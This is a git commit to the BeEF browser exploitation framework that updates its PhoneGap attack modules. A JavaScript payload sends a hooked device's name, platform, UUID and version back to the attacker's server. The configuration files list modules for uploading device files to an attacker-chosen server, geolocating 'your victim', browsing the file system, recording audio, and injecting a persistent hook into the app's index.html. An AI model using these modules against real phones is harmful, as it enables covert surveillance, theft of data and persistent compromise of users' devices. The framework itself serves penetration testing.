Minor updates to PhoneGap modules:

o Fixed bug in the Detect PhoneGap module
		o No longer fails to return if PhoneGap is not present

	o Some minor module name and description updates
This commit is contained in:
bcoles
2011-12-21 23:02:45 +10:30
parent 815140ac0d
commit 8a1a5259c0
10 changed files with 42 additions and 30 deletions

View File

@@ -1,12 +1,21 @@
//
// exploit phonegap
// detect phonegap
//
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>,
'phonegap_version='+" name: " + device.name
+ " phonegap api: " + device.phonegap
+ " platform: " + device.platform
+ " uuid: " + device.uuid
+ " version: " + device.version);
var phonegap_details;
try {
phonegap_details = ""
+ " name: " + device.name
+ " phonegap api: " + device.phonegap
+ " platform: " + device.platform
+ " uuid: " + device.uuid
+ " version: " + device.version;
} catch(e) {
phonegap_details = "unable to detect phonegap";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap="+phonegap_details);
});

View File

@@ -5,8 +5,8 @@ beef:
Detect:
enable: true
category: "Phonegap"
name: "Detect phonegap"
description: "Detects if phonegap api is present"
name: "Detect PhoneGap"
description: "Detects if the PhoneGap API is present."
authors: ["mh"]
target:
working: ["All"]

View File

@@ -5,7 +5,7 @@ class Detect < BeEF::Core::Command
def post_execute
content = {}
content['phonegap_version'] = @datastore['phonegap_version']
content['phonegap'] = @datastore['phonegap']
save content
end

View File

@@ -5,8 +5,8 @@ beef:
File_upload:
enable: true
category: "Phonegap"
name: "Upload file"
description: "Upload files from device to server of your choice"
name: "Upload File"
description: "Upload files from device to a server of your choice."
authors: ["mh"]
target:
working: ["All"]

View File

@@ -5,8 +5,8 @@ beef:
Geo_locate:
enable: true
category: "Phonegap"
name: "Geo locate"
description: "Geo locate your victim"
name: "Geolocation"
description: "Geo locate your victim."
authors: ["mh"]
target:
working: ["All"]

View File

@@ -5,8 +5,8 @@ beef:
List_files:
enable: true
category: "Phonegap"
name: "List files"
description: "Examine device file system"
name: "List Files"
description: "Examine device file system."
authors: ["mh"]
target:
working: ["All"]

View File

@@ -6,7 +6,7 @@ beef:
enable: true
category: "Phonegap"
name: "Persistence"
description: "Insert the beef hook into phonegap's index.html (iphone only)"
description: "Insert the BeEF hook into PhoneGap's index.html (iPhone only)"
authors: ["mh"]
target:
working: ["All"]

View File

@@ -3,17 +3,20 @@
class Persistence < BeEF::Core::Command
def self.options
return [{
'name' => 'hook_url',
'description' => 'The URL of your beef hook',
'ui_label'=>'Hook URL',
'value' => 'http://beef:3000/hook.js',
'width' => '300px'
}]
def self.options
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
return [{
'name' => 'hook_url',
'description' => 'The URL of your BeEF hook',
'ui_label'=>'Hook URL',
'value' => 'http://'+beef_host+':3000/hook.js',
'width' => '300px'
}]
end
def post_execute
def post_execute
content = {}
content['result'] = @datastore['result']
save content

View File

@@ -5,8 +5,8 @@ beef:
Start_record_audio:
enable: true
category: "Phonegap"
name: "Start record audio"
description: "Start Record audio"
name: "Start Recording Audio"
description: "Start recording audio."
authors: ["mh"]
target:
working: ["All"]

View File

@@ -5,8 +5,8 @@ beef:
Stop_record_audio:
enable: true
category: "Phonegap"
name: "Stop record audio"
description: "Stop Record audio"
name: "Stop Recording Audio"
description: "Stop recording audio."
authors: ["mh"]
target:
working: ["All"]